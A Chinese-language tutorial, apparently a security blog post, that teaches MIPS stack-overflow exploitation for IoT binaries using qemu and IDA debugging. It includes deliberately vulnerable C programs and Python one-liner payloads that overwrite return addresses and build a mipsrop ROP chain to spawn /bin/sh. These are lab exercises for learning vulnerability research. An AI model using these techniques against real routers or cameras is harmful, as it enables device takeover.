前言

MIPS 指令集主要使用在一些嵌入式的 IOT 设备中,比如路由器,摄像头。要对这些设备进行二进制的漏洞挖掘就需要有对 MIPS 有一定的熟悉。MIPS 指令集的栈溢出与 x86 指令集的有所不同,所以漏洞的利用方式也不太相同,但是溢出的思路是一样的:覆盖返回地址、劫持程序控制流、构造 ROP chain 、写 shellcode 等等。本文介绍一下最基本的 MIPS 指令集下的栈溢出的利用方法。

 

x86 和 MIPS 指令集的差异

1.MIPS 指令系统大量使用寄存器,包括返回地址也是存放在 ra 寄存器中
2.没有堆栈直接操作的指令,也就是没有 push 和 pop 指令
3.所有指令都是 32 位编码,也就是说所有的数据和指令都是 4 字节对齐。

由于 MIPS 固定指令长度,所以造成其编译后的二进制文件和内存占用空间比 x86 的要大
MIPS 指令集使用 uclibc C 标准库,x86 使用 libc 的 C 标准库

基本的指令用法和两者的差异可以参考这里:
https://blog.csdn.net/gujing001/article/details/8476685

 

MIPS 的动态调试

在 qemu 上开启一个调试端口(-g 指定端口号),在 IDA 上使用 Remote GDB debugger,填上端口号和主机名即可

./qemu-mipsel -g 23946 xxxx

具体的步骤可以看这里
https://www.jianshu.com/p/9841b412af37

 

叶子函数和非叶子函数

叶子函数和非叶子函数是两个非常重要的概念,两者的一些特性照成了对栈溢出利用方式的差异。

在某个函数中,如果这个函数不调用其他函数,那么就这个称为叶子函数。反则这个函数就是非叶子函数

举个例子

main 函数为叶子函数,函数中没有调用其他函数

int main(){
    int i;
    int sum = 0;
    for(i=0;i<5;i++){
        sum = sum +i;
    }
}

main 函数为非叶子函数,函数调用了其他函数(printf)

int main(){
    int i;
    int sum = 0;
    for(i=0;i<5;i++){
        sum = sum +i;
        printf("sum = %d",sum);
    }
}

1.非叶子函数,有 sw $ra,xxx 的操作,在函数退出时,会将存放在栈上的原来存放 ra 寄存器的值重新赋值到 ra 寄存器中

2.叶子函数,没有 sw $ra,xxx 的操作


 

简单的栈溢出

用一个代码
has_stack 函数存在栈溢出,该函数是非叶子函数,可以溢出到存放返回地址栈空间,劫持程序流

#include <stdio.h>

void vuln(){
        system("/bin/sh");
}

void has_stack(char *src){
        char dst[20] = {0};
        strcpy(dst,src);
        printf("copy success!n");
}

void main(int argc,char *argv[]){
        has_stack(argv[1]);
}

动态分析

在 has_stack 函数调用 strcpy 时,下断点

开启服务器的远程调试:

nick@nick-machine:~/iot/program$ ./qemu-mipsel -g 23946 StackOverflow2 aaaaaaaaaaaaaaaaaa

在 IDA 连接上 gdb调试后,F9 运行到断点处,单步两次。这里 strcpy 函数的两个参数 a0、a1,函数的作用是将 a1 地址处的数据复制到 a0 地址处

没有对 a1 的地址的数据长度做限制,所以存在栈溢出。

F8 单步步过以后,看到输入的数据已经存放到栈上了,也可以很清楚的看到返回地址的位置。

计算偏移,得到 exp:

./qemu-mipsel StackOverflow2 `python -c "print 'a'*28+'x90x03x40x00'"`

本地运行,成功拿到 shell

has_stack 函数栈帧的排布情况

简单画了一个图,便于理解(这里的栈的高地址在上

栈的生长方向为低地址向高地址,缓冲区溢出时就向 main 函数的区域溢出,控制程序流也就需要溢出到原来的 main + 30 处的栈空间

 

ROP chain 的利用

在 IDA 中寻找并构造 ROP chain 是使用 mipsrop.py 这个脚本来辅助 查找的:
https://github.com/devttys0/ida/tree/master/plugins/mipsrop

用法

有几个主要的用法:

mipsrop.stackfinder()    寻找栈数据可控的 rop,建立和 a0、a1 寄存器的关系
mipsrop.summary()        列出所有的可用 rop
mipsrop.system()         寻找命令执行的的rop
mipsrop.find(xxx)        查找 find 函数参数的 rop,类似正则匹配

例子

这里举一个《揭秘家用路由器 0day 漏洞挖掘技术》里面的例子,来详细说明 ROP chain 的使用方法

源码

#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>

void do_system_0(int code,char *cmd)
{
    char buf[255];
    //sleep(1);
    system(cmd);
}

void main()
{
    char buf[256]={0};
    char ch;
    int count = 0;
    unsigned int fileLen = 0;
    struct stat fileData;
    FILE *fp;

    if(0 == stat("passwd",&fileData))
        fileLen = fileData.st_size;
    else
        return 1;

    if((fp = fopen("passwd","rb")) == NULL)
    {
        printf("Cannot open file passwd!n");
        exit(1);
    }


    ch=fgetc(fp);
    while(count <= fileLen)
    {
        buf[count++] = ch;
        ch = fgetc(fp);
    }
    buf[--count] = 'x00';

    if(!strcmp(buf,"adminpwd"))
    {
        do_system(count,"ls -l");
    }
    else
    {
        printf("you have an invalid password!n");
    }
    fclose(fp);
}

溢出是在 main 函数中,很明显 main 函数是一个非叶子函数,所以 main 的返回地址是存放在栈上的,可以覆盖到返回地址,控制程序流

但是当我要要调用 do_system_0 函数时,他的第二个参数是在 a1 当中的,我们可控的只有栈上的内容,那个要找的 ROP chain 也就是需要将栈上的内容赋值给 a1 寄存器的汇编语句

可以直接使用 mipsrop.stackfinder() 命令来找找看

Python>mipsrop.stackfinder()
----------------------------------------------------------------------------------------------------------------
|  Address     |  Action                                              |  Control Jump                          |
----------------------------------------------------------------------------------------------------------------
|  0x00401D40  |  addiu $a1,$sp,0x58+var_40                           |  jr    0x58+var_4($sp)                 |
----------------------------------------------------------------------------------------------------------------

分析

虚拟机中开启动态调试,IDA 连接上

./qemu-mipsel -g 23946 vuln_system

首先是 main 函数中的栈溢出,这里要调用 rop 的地址

因为存放 ra 寄存器的栈空间被覆盖,此时的 ra 寄存器存放的就为 rop 的地址了。

跳转到 rop 的栈空间时,我们再进行分析:

addiu $ai,$sp,0x58+var_40        等价于 a1 = sp+0x18
lw    $ra,0x58+var_4($sp)        等价于 ra = sp+0x54
jr    $ra                        跳到返回地址

所以这里可以分析出来,栈的排布情况:a1 在上,ra 在下,中间还有一段空间需要填充

图中的此时已经是被我填充好了的情况

最后可以得到 exp

exp 的详细分析

python -c "print 'a'*0x108+'x00x40x1Dx40'+'b'*24+'x2fx62x69x6e'+'x2fx73x68x00'+'c'*0x34+'x00x40x03x90'" > passwd
'a' * 0x108                            在 main 函数的栈空间填充到返回地址
'x00x40x1Dx40'                     ROP chain 的地址
'b' * 24                               填充为 do_system_0 的第一个参数
x2fx62x69x6e'+'x2fx73x68x00'    /bin/sh 字符串
'c'*0x34                                填充
'x00x40x03x90'                      填充返回地址,调用 do_system_0 函数

将这个程序运行起来,会读取 passwd 中的内容填充到程序的栈空间中,这样就可以得到 shell

 

总结

MIPS 的二进制漏洞挖掘中,最基础的栈溢出也就是一些简单的 rop 的利用,希望大家能多动手进行调试,在调试发现问题并慢慢进步~

源链接

Hacking more

...